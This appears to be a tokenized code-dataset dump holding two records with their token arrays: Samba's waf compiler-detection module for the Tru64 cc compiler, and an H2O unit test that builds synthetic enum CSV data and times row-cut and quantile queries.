0, 0, 0, 0 ]
sYnfo/samba-1
buildtools/wafsamba/tru64cc.py
45
1947
# compiler definition for tru64/OSF1 cc compiler # based on suncc.py from waf import os, optparse import Utils, Options, Configure import ccroot, ar from Configure import conftest from compiler_cc import c_compiler c_compiler['osf1V'] = ['gcc', 'tru64cc'] @conftest def find_tru64cc(conf): v = conf.env cc = None if v['CC']: cc = v['CC'] elif 'CC' in conf.environ: cc = conf.environ['CC'] if not cc: cc = conf.find_program('cc', var='CC') if not cc: conf.fatal('tru64cc was not found') cc = conf.cmd_to_list(cc) try: if not Utils.cmd_output(cc + ['-V']): conf.fatal('tru64cc %r was not found' % cc) except ValueError: conf.fatal('tru64cc -V could not be executed') v['CC'] = cc v['CC_NAME'] = 'tru64' @conftest def tru64cc_common_flags(conf): v = conf.env v['CC_SRC_F'] = '' v['CC_TGT_F'] = ['-c', '-o', ''] v['CPPPATH_ST'] = '-I%s' # template for adding include paths # linker if not v['LINK_CC']: v['LINK_CC'] = v['CC'] v['CCLNK_SRC_F'] = '' v['CCLNK_TGT_F'] = ['-o', ''] v['LIB_ST'] = '-l%s' # template for adding libs v['LIBPATH_ST'] = '-L%s' # template for adding libpaths v['STATICLIB_ST'] = '-l%s' v['STATICLIBPATH_ST'] = '-L%s' v['CCDEFINES_ST'] = '-D%s' # v['SONAME_ST'] = '-Wl,-h -Wl,%s' # v['SHLIB_MARKER'] = '-Bdynamic' # v['STATICLIB_MARKER'] = '-Bstatic' # program v['program_PATTERN'] = '%s' # shared library # v['shlib_CCFLAGS'] = ['-Kpic', '-DPIC'] v['shlib_LINKFLAGS'] = ['-shared'] v['shlib_PATTERN'] = 'lib%s.so' # static lib # v['staticlib_LINKFLAGS'] = ['-Bstatic'] # v['staticlib_PATTERN'] = 'lib%s.a' detect = ''' find_tru64cc find_cpp find_ar tru64cc_common_flags cc_load_tools cc_add_flags link_add_flags '''
gpl-3.0
[ 199, 3, 6365, 5492, 367, 5651, 85, 772, 15, 3100, 38, 17, 7429, 6365, 199, 3, 4079, 641, 308, 1097, 67, 14, 647, 687, 25782, 199, 199, 646, 747, 12, 8691, 199, 646, 17397, 12, 8394, 12, 15453, 199, 646, 7429, 1231, 12, 601, 199, 504, 15453, 492, 3743, 396, 199, 199, 504, 6365, 63, 2055, 492, 286, 63, 5772, 199, 199, 67, 63, 5772, 459, 20923, 17, 54, 418, 275, 788, 13112, 297, 283, 454, 85, 772, 2055, 418, 199, 199, 32, 22454, 199, 318, 2342, 63, 454, 85, 772, 2055, 8, 2190, 304, 272, 373, 275, 3743, 14, 1813, 272, 7429, 275, 488, 272, 340, 373, 459, 2571, 2565, 7429, 275, 373, 459, 2571, 418, 272, 916, 283, 2571, 7, 315, 3743, 14, 2314, 26, 7429, 275, 3743, 14, 2314, 459, 2571, 418, 272, 340, 440, 7429, 26, 7429, 275, 3743, 14, 1623, 63, 6815, 360, 2055, 297, 2729, 534, 2571, 358, 272, 340, 440, 7429, 26, 3743, 14, 16208, 360, 454, 85, 772, 2055, 1990, 440, 1911, 358, 272, 7429, 275, 3743, 14, 1760, 63, 475, 63, 513, 8, 2055, 9, 339, 862, 26, 267, 340, 440, 17397, 14, 1760, 63, 1199, 8, 2055, 435, 11573, 54, 9090, 288, 3743, 14, 16208, 360, 454, 85, 772, 2055, 450, 82, 1990, 440, 1911, 7, 450, 7429, 9, 272, 871, 1722, 26, 267, 3743, 14, 16208, 360, 454, 85, 772, 2055, 446, 54, 4293, 440, 506, 7934, 358, 339, 373, 459, 2571, 418, 221, 275, 7429, 272, 373, 459, 2571, 63, 2339, 418, 275, 283, 454, 85, 772, 7, 199, 199, 32, 22454, 199, 318, 5651, 85, 772, 2055, 63, 2330, 63, 2469, 8, 2190, 304, 272, 373, 275, 3743, 14, 1813, 339, 373, 459, 2571, 63, 12447, 63, 38, 418, 3322, 275, 2125, 272, 373, 459, 2571, 63, 26422, 63, 38, 418, 3322, 275, 11573, 67, 297, 2475, 79, 297, 28696, 272, 373, 459, 14533, 3243, 63, 840, 418, 3515, 275, 2475, 41, 5, 83, 7, 327, 1978, 367, 7791, 2387, 3792, 339, 327, 17261, 272, 340, 440, 373, 459, 7916, 63, 2571, 2565, 373, 459, 7916, 63, 2571, 418, 275, 373, 459, 2571, 418, 272, 373, 459, 35, 1981, 22780, 63, 12447, 63, 38, 418, 260, 275, 2125, 272, 373, 459, 35, 1981, 22780, 63, 26422, 63, 38, 418, 260, 275, 11573, 79, 297, 28696, 339, 373, 459, 5617, 63, 840, 418, 4519, 275, 2475, 76, 5, 83, 7, 327, 1978, 367, 7791, 20314, 272, 373, 459, 32119, 63, 840, 418, 3515, 275, 2475, 44, 5, 83, 7, 327, 1978, 367, 7791, 1973, 3771, 272, 373, 459, 10449, 5617, 63, 840, 418, 263, 275, 2475, 76, 5, 83, 7, 272, 373, 459, 10449, 32119, 63, 840, 418, 259, 275, 2475, 44, 5, 83, 7, 272, 373, 459, 2571, 27196, 63, 840, 418, 263, 275, 2475, 36, 5, 83, 7, 199, 199, 3, 259, 373, 459, 3377, 1991, 63, 840, 418, 3698, 275, 2475, 16239, 3057, 72, 446, 16239, 8719, 83, 7, 199, 3, 259, 373, 459, 3234, 5617, 63, 18997, 418, 263, 275, 2475, 34, 7764, 7, 199, 3, 259, 373, 459, 10449, 5617, 63, 18997, 418, 259, 275, 2475, 34, 1986, 7, 339, 327, 2240, 272, 373, 459, 6815, 63, 10764, 418, 258, 275, 1543, 83, 7, 339, 327, 5709, 3555, 199, 3, 259, 373, 459, 609, 773, 63, 2571, 4831, 418, 755, 275, 11573, 43, 12475, 297, 2475, 11741, 948, 418, 272, 373, 459, 609, 773, 63, 30388, 418, 258, 275, 11573, 5555, 418, 272, 373, 459, 609, 773, 63, 10764, 418, 755, 275, 283, 773, 5, 83, 14, 1152, 7, 339, 327, 2955, 1973, 199, 3, 259, 373, 459, 1986, 773, 63, 30388, 418, 275, 11573, 34, 1986, 418, 199, 3, 259, 373, 459, 1986, 773, 63, 10764, 418, 257, 275, 283, 773, 5, 83, 14, 65, 7, 199, 199, 13552, 275, 1449, 199, 1623, 63, 454, 85, 772, 2055, 199, 1623, 63, 5910, 199, 1623, 63, 285, 199, 454, 85, 772, 2055, 63, 2330, 63, 2469, 199, 2055, 63, 912, 63, 2537, 199, 2055, 63, 525, 63, 2469, 199, 1073, 63, 525, 63, 2469, 199, 2344, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 3, 6365, 5492, 367, 5651, 85, 772, 15, 3100, 38, 17, 7429, 6365, 199, 3, 4079, 641, 308, 1097, 67, 14, 647, 687, 25782, 199, 199, 646, 747, 12, 8691, 199, 646, 17397, 12, 8394, 12, 15453, 199, 646, 7429, 1231, 12, 601, 199, 504, 15453, 492, 3743, 396, 199, 199, 504, 6365, 63, 2055, 492, 286, 63, 5772, 199, 199, 67, 63, 5772, 459, 20923, 17, 54, 418, 275, 788, 13112, 297, 283, 454, 85, 772, 2055, 418, 199, 199, 32, 22454, 199, 318, 2342, 63, 454, 85, 772, 2055, 8, 2190, 304, 272, 373, 275, 3743, 14, 1813, 272, 7429, 275, 488, 272, 340, 373, 459, 2571, 2565, 7429, 275, 373, 459, 2571, 418, 272, 916, 283, 2571, 7, 315, 3743, 14, 2314, 26, 7429, 275, 3743, 14, 2314, 459, 2571, 418, 272, 340, 440, 7429, 26, 7429, 275, 3743, 14, 1623, 63, 6815, 360, 2055, 297, 2729, 534, 2571, 358, 272, 340, 440, 7429, 26, 3743, 14, 16208, 360, 454, 85, 772, 2055, 1990, 440, 1911, 358, 272, 7429, 275, 3743, 14, 1760, 63, 475, 63, 513, 8, 2055, 9, 339, 862, 26, 267, 340, 440, 17397, 14, 1760, 63, 1199, 8, 2055, 435, 11573, 54, 9090, 288, 3743, 14, 16208, 360, 454, 85, 772, 2055, 450, 82, 1990, 440, 1911, 7, 450, 7429, 9, 272, 871, 1722, 26, 267, 3743, 14, 16208, 360, 454, 85, 772, 2055, 446, 54, 4293, 440, 506, 7934, 358, 339, 373, 459, 2571, 418, 221, 275, 7429, 272, 373, 459, 2571, 63, 2339, 418, 275, 283, 454, 85, 772, 7, 199, 199, 32, 22454, 199, 318, 5651, 85, 772, 2055, 63, 2330, 63, 2469, 8, 2190, 304, 272, 373, 275, 3743, 14, 1813, 339, 373, 459, 2571, 63, 12447, 63, 38, 418, 3322, 275, 2125, 272, 373, 459, 2571, 63, 26422, 63, 38, 418, 3322, 275, 11573, 67, 297, 2475, 79, 297, 28696, 272, 373, 459, 14533, 3243, 63, 840, 418, 3515, 275, 2475, 41, 5, 83, 7, 327, 1978, 367, 7791, 2387, 3792, 339, 327, 17261, 272, 340, 440, 373, 459, 7916, 63, 2571, 2565, 373, 459, 7916, 63, 2571, 418, 275, 373, 459, 2571, 418, 272, 373, 459, 35, 1981, 22780, 63, 12447, 63, 38, 418, 260, 275, 2125, 272, 373, 459, 35, 1981, 22780, 63, 26422, 63, 38, 418, 260, 275, 11573, 79, 297, 28696, 339, 373, 459, 5617, 63, 840, 418, 4519, 275, 2475, 76, 5, 83, 7, 327, 1978, 367, 7791, 20314, 272, 373, 459, 32119, 63, 840, 418, 3515, 275, 2475, 44, 5, 83, 7, 327, 1978, 367, 7791, 1973, 3771, 272, 373, 459, 10449, 5617, 63, 840, 418, 263, 275, 2475, 76, 5, 83, 7, 272, 373, 459, 10449, 32119, 63, 840, 418, 259, 275, 2475, 44, 5, 83, 7, 272, 373, 459, 2571, 27196, 63, 840, 418, 263, 275, 2475, 36, 5, 83, 7, 199, 199, 3, 259, 373, 459, 3377, 1991, 63, 840, 418, 3698, 275, 2475, 16239, 3057, 72, 446, 16239, 8719, 83, 7, 199, 3, 259, 373, 459, 3234, 5617, 63, 18997, 418, 263, 275, 2475, 34, 7764, 7, 199, 3, 259, 373, 459, 10449, 5617, 63, 18997, 418, 259, 275, 2475, 34, 1986, 7, 339, 327, 2240, 272, 373, 459, 6815, 63, 10764, 418, 258, 275, 1543, 83, 7, 339, 327, 5709, 3555, 199, 3, 259, 373, 459, 609, 773, 63, 2571, 4831, 418, 755, 275, 11573, 43, 12475, 297, 2475, 11741, 948, 418, 272, 373, 459, 609, 773, 63, 30388, 418, 258, 275, 11573, 5555, 418, 272, 373, 459, 609, 773, 63, 10764, 418, 755, 275, 283, 773, 5, 83, 14, 1152, 7, 339, 327, 2955, 1973, 199, 3, 259, 373, 459, 1986, 773, 63, 30388, 418, 275, 11573, 34, 1986, 418, 199, 3, 259, 373, 459, 1986, 773, 63, 10764, 418, 257, 275, 283, 773, 5, 83, 14, 65, 7, 199, 199, 13552, 275, 1449, 199, 1623, 63, 454, 85, 772, 2055, 199, 1623, 63, 5910, 199, 1623, 63, 285, 199, 454, 85, 772, 2055, 63, 2330, 63, 2469, 199, 2055, 63, 912, 63, 2537, 199, 2055, 63, 525, 63, 2469, 199, 1073, 63, 525, 63, 2469, 199, 2344, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
rowhit/h2o-2
py/testdir_single_jvm/test_exec2_enums_rand_cut2.py
9
15606
import unittest, random, sys, time, re, getpass sys.path.extend(['.','..','../..','py']) import h2o, h2o_cmd, h2o_browse as h2b, h2o_import as h2i, h2o_glm, h2o_util import h2o_print as h2p, h2o_gbm # details: # we want to seed a random dictionary for our enums # string.ascii_uppercase string.printable string.letters string.digits string.punctuation string.whitespace # restricting the choices makes it easier to find the bad cases randChars = "abeE01" + "$%+-.;|\t " randChars = "abeE01" # bad..causes NAification. probably 1E0e is causing a problem # randChars = "abfF01" # try this.. fails # randChars = "abcdef" # quoteChars = "\'\"" # don't use any quote characters. We'd have to protect combinations quoteChars = "" MIN_ENUM_WIDTH = 2 MAX_ENUM_WIDTH = 5 assert MAX_ENUM_WIDTH > MIN_ENUM_WIDTH RAND_ENUM_LENGTH = True CUT_EXPR_CNT = 150 CUT_LOOP_CNT = 50 # minimize chance of repeats by making enough cut expressions # as long as you have enough features and enums per features..should be random enough assert CUT_EXPR_CNT > 2 * CUT_LOOP_CNT if getpass.getuser()=='kevin': #10M ROWS=1000000 # 1M ROWS=10000 # 10k WRITE_REPEAT = 10 # note we have a 10 way upload repeat too...for 200M rows CAT_ITERATE = 0 # repeated cat to to get 2**N bigger else: # 1M CAT_ITERATE = 0 # repeated cat to to get 2**N bigger WRITE_REPEAT = 10 ROWS=10000 assert CAT_ITERATE >= 0 DO_PLOT = getpass.getuser()=='kevin' DO_MEDIAN = True MAX_QBINS = 1000 MULTI_PASS = 1 # weights = [2,3,5] # d = random_data[h2o_util.weighted_choice(weights)] def random_enum(width, randChars=randChars, quoteChars=quoteChars): # randomly return None 10% of the time # if random.randint(0,9)==0: # return 'huh' # empty string doesn't work for exec compare? choiceStr = randChars + quoteChars mightBeNumberOrWhite = True while mightBeNumberOrWhite: # H2O doesn't seem to tolerate random single or double quote in the first two rows. # disallow that by not passing quoteChars for the first two rows (in call to here) r = ''.join(random.choice(choiceStr) for x in range(width)) mightBeNumberOrWhite = h2o_util.might_h2o_think_number_or_whitespace(r) return r def create_enum_list(n=4, minWidth=1, maxWidth=2, **kwargs): # Allowing length one, we sometimes form single digit numbers that cause the whole column to NA # see DparseTask.java for this effect # FIX! if we allow 0, then we allow NA?. I guess we check for no missing, so can't allow NA # list of unique random enums enumList = [] while len(enumList)!= n: enum = random_enum(width=random.randint(int(minWidth), int(maxWidth))) if enum not in enumList: enumList.append(enum) return enumList def create_col_enum_list(inCount): # the enum width is independent from the # of choices widthChoice = random.randint(MIN_ENUM_WIDTH, MAX_ENUM_WIDTH) MAX_CHOICES = 4 weights = [1.0] numChoiceList = [2] # always need 2 choices since we do == and not equal for i in range(3, MAX_CHOICES): print "weights:", weights # each choice is 1/2th the previous w = weights[-1]/2.0 assert w!=0 weights.append(w) numChoiceList.append(i) print "numChoiceList", numChoiceList colEnumList = [] for col in range(inCount): numChoice = numChoiceList[h2o_util.weighted_choice(weights)] print "numChoice:", numChoice # create the per-column choice lists enumList = create_enum_list(n=numChoice, minWidth=MIN_ENUM_WIDTH, maxWidth=widthChoice, quoteChars=quoteChars) colEnumList.append(enumList) return colEnumList def write_syn_dataset(csvPathname, rowCount, inCount=1, outCount=1, SEED='12345678', colSepChar=",", rowSepChar="\n", quoteChars="", colEnumList=None): r1 = random.Random(SEED) if CAT_ITERATE==0: dsf = open(csvPathname, "w+") else: tmpFd, tmpPathname = h2o.tmp_file("cat",".csv", tmp_dir="/tmp") dsf = open(tmpPathname, "w+") global WRITE_REPEAT if not (WRITE_REPEAT>=1 and WRITE_REPEAT <=100): print "Forcing WRITE_REPEAT to 1" WRITE_REPEAT = 1 for row in range(rowCount): if ((WRITE_REPEAT*row) % 100000)== 0: print "Wrote", WRITE_REPEAT*row, "lines" # doesn't guarantee that 10000 rows have 10000 unique enums in a column # essentially sampling with replacement rowData = [] for iCol in range(inCount): # FIX! we should add some random NA? ri = random.choice(colEnumList[iCol]) rowData.append(ri) # output columns. always 0-10e6 with 2 digits of fp precision for oCol in range(outCount): ri = "%.2f" % random.uniform(0, 10e6) rowData.append(ri) # use the new Hive separator rowDataCsv = colSepChar.join(map(str,rowData)) + rowSepChar ### sys.stdout.write(rowDataCsv) # faster for creating big files? doesn't need to be fully random for i in range(WRITE_REPEAT): dsf.write(rowDataCsv) dsf.close() if CAT_ITERATE > 0: for c in range(CAT_ITERATE+1): if c==CAT_ITERATE: print "Doubling", tmpPathname, "into", csvPathname h2o_util.file_cat(tmpPathname, tmpPathname, csvPathname) else: tmp2Fd, tmp2Pathname = h2o.tmp_file() print "Doubling", tmpPathname, "into", tmp2Pathname h2o_util.file_cat(tmpPathname, tmpPathname, tmp2Pathname) tmpPathname = tmp2Pathname return colEnumList class Basic(unittest.TestCase): def tearDown(self): h2o.check_sandbox_for_errors() @classmethod def setUpClass(cls): global SEED SEED = h2o.setup_random_seed() h2o.init(1,java_heap_GB=14) @classmethod def tearDownClass(cls): # h2o.sleep(3600) h2o.tear_down_cloud() def test_exec_enums_rand_cut2(self): SYNDATASETS_DIR = h2o.make_syn_dir() n = ROWS tryList = [ # (n, 10, 9, 'cE', 300), (n, 1, 1, 'cE', 300), ] # create key names to use for exec eKeys = ['e%s' % i for i in range(10)] # h2b.browseTheCloud() trial = 0 for (rowCount, iColCount, oColCount, hex_key, timeoutSecs) in tryList: colCount = iColCount + oColCount hex_key = 'p' colEnumList = create_col_enum_list(iColCount) # create 100 possible cut expressions here, so we don't waste time below rowExprList = [] print "Creating", CUT_EXPR_CNT, 'cut expressions' for j in range(CUT_EXPR_CNT): # init cutValue. None means no compare cutValue = [None for i in range(iColCount)] # build up a random cut expression MAX_COLS_IN_EXPR = iColCount cols = random.sample(range(MAX_COLS_IN_EXPR), random.randint(1,MAX_COLS_IN_EXPR)) for c in cols: # possible choices within the column cel = colEnumList[c] # for now the cutValues are numbers for the enum mappings if 1==1: # FIX! hack. don't use encoding 0, maps to NA here? h2o doesn't like celChoice = str(random.choice(range(len(cel)))) else: celChoice = random.choice(cel) cutValue[c] = celChoice cutExprList = [] for i,c in enumerate(cutValue): if c is None: continue else: # new ...ability to reference cols # src[ src$age<17 && src$zip=95120 && ... , ] # randomly pick == or != if random.randint(0,1)==0: cutExprList.append('p$C'+str(i+1)+'!='+c) else: cutExprList.append('p$C'+str(i+1)+'=='+c) cutExpr = ' & '.join(cutExprList) # print "cutExpr:", cutExpr # just extract one output col (the first one) rowExpr = '%s[%s,%s];' % (hex_key, cutExpr, iColCount+1) # print "rowExpr:", rowExpr print rowExpr rowExprList.append(rowExpr) # CREATE DATASET******************************************* SEEDPERFILE = random.randint(0, sys.maxint) csvFilename = 'syn_enums_' + str(rowCount) + 'x' + str(colCount) + '.csv' csvPathname = SYNDATASETS_DIR + '/' + csvFilename print "Creating random", csvPathname write_syn_dataset(csvPathname, rowCount, iColCount, oColCount, SEEDPERFILE, colEnumList=colEnumList) # PARSE******************************************************* src_key = csvFilename parseResult = h2i.import_only(path=csvPathname, schema='put', src_key='A'+src_key, timeoutSecs=200) parseResult = h2i.import_only(path=csvPathname, schema='put', src_key='B'+src_key, timeoutSecs=200) parseResult = h2i.import_only(path=csvPathname, schema='put', src_key='C'+src_key, timeoutSecs=200) parseResult = h2i.import_only(path=csvPathname, schema='put', src_key='D'+src_key, timeoutSecs=200) parseResult = h2i.import_only(path=csvPathname, schema='put', src_key='E'+src_key, timeoutSecs=200) parseResult = h2i.import_only(path=csvPathname, schema='put', src_key='F'+src_key, timeoutSecs=200) parseResult = h2i.import_only(path=csvPathname, schema='put', src_key='G'+src_key, timeoutSecs=200) parseResult = h2i.import_only(path=csvPathname, schema='put', src_key='H'+src_key, timeoutSecs=200) parseResult = h2i.import_only(path=csvPathname, schema='put', src_key='I'+src_key, timeoutSecs=200) parseResult = h2i.import_only(path=csvPathname, schema='put', src_key='J'+src_key, timeoutSecs=200) parseResult = h2i.parse_only(pattern='*'+src_key, hex_key=hex_key, timeoutSecs=800) print "Parse result['destination_key']:", parseResult['destination_key'] inspect = h2o_cmd.runInspect(key=parseResult['destination_key']) h2o_cmd.infoFromInspect(inspect, csvPathname) pNumRows = inspect['numRows'] pNumCols = inspect['numCols'] # print h2o.dump_json(inspect) levels = h2o.nodes[0].levels(source=hex_key) print "levels result:", h2o.dump_json(levels) (missingValuesDict, constantValuesDict, enumSizeDict, colTypeDict, colNameDict) = \ h2o_cmd.columnInfoFromInspect(parseResult['destination_key'], exceptionOnMissingValues=False) # error if any col has constant values if len(constantValuesDict) != 0: raise Exception("Probably got a col NA'ed and constant values as a result %s" % constantValuesDict) # INIT all possible key names used*************************** # remember. 1 indexing! # is this needed? if 1==1: a = 'a=c(1,2,3);' + ';'.join(['a[,%s]=a[,%s-1]'% (i,i) for i in range(2,colCount)]) print a for eKey in eKeys: # build up the columns e = h2o.nodes[0].exec_query(str='%s;%s=a' % (a, eKey), print_params=False) ## print h2o.dump_json(e) xList = [] eList = [] fList = [] for repeat in range(CUT_LOOP_CNT): # EXEC******************************************************* # don't use exec_expr to avoid issues with Inspect following etc. randICol = random.randint(0,iColCount-1) randOCol = random.randint(iColCount, iColCount+oColCount-1) # should be two different keys in the sample e = random.sample(eKeys,2) fKey = e[0] eKey = e[1] start = time.time() h2o.nodes[0].exec_query(str="%s=%s" % (fKey, random.choice(rowExprList))) elapsed = time.time() - start execTime = elapsed print "exec 2 took", elapsed, "seconds." inspect = h2o_cmd.runInspect(key=fKey) h2o_cmd.infoFromInspect(inspect, fKey) numRows = inspect['numRows'] numCols = inspect['numCols'] if numRows==0 or numCols!=colCount: h2p.red_print("Warning: Cut resulted in", numRows, "rows and", numCols, "cols. Quantile will abort") # QUANTILE******************************************************* quantile = 0.5 if DO_MEDIAN else .999 # first output col. always fed by an exec cut, so 0? column = iColCount column = 0 start = time.time() q = h2o.nodes[0].quantiles(source_key=fKey, column=column, quantile=quantile, max_qbins=MAX_QBINS, multiple_pass=MULTI_PASS) h2p.red_print("quantile", quantile, q['result']) elapsed = time.time() - start print "quantile end on ", fKey, 'took', elapsed, 'seconds.' quantileTime = elapsed # remove all keys******************************************************* # what about hex_key? if 1==0: start = time.time() h2o.nodes[0].remove_all_keys() elapsed = time.time() - start print "remove all keys end on ", csvFilename, 'took', elapsed, 'seconds.' trial += 1 xList.append(trial) eList.append(execTime) fList.append(quantileTime) #**************************************************************** # QUANTILE APPROX. BASELINE FOR SINGLE COL WALK FULL DATASET print "QUANTILE APPROX. BASELINE FOR SINGLE COL WALK FULL DATASET. Although it's a real col, not an enum col" quantile = 0.5 if DO_MEDIAN else .999 # first output col. always fed by an exec cut, so 0? column = iColCount start = time.time() q = h2o.nodes[0].quantiles(source_key=hex_key, column='C'+str(iColCount+1), quantile=quantile, max_qbins=MAX_QBINS, multiple_pass=0) elapsed = time.time() - start h2p.red_print(hex_key, pNumRows, "rows Baseline: quantile single col (C" + str(iColCount+1) + ")", "one iteration", elapsed, "secs. threshold:", quantile, q['result']) print "quantile single col 1 iteration end on", hex_key, "took", elapsed, 'seconds.' quantileTime = elapsed #**************************************************************** # PLOTS. look for eplot.jpg and fplot.jpg in local dir? if DO_PLOT: xLabel = 'trial' eLabel = 'exec cut time' fLabel = 'quantile time' eListTitle = "" fListTitle = "" h2o_gbm.plotLists(xList, xLabel, eListTitle, eList, eLabel, fListTitle, fList, fLabel, server=True) if __name__ == '__main__': h2o.unit_main()
apache-2.0
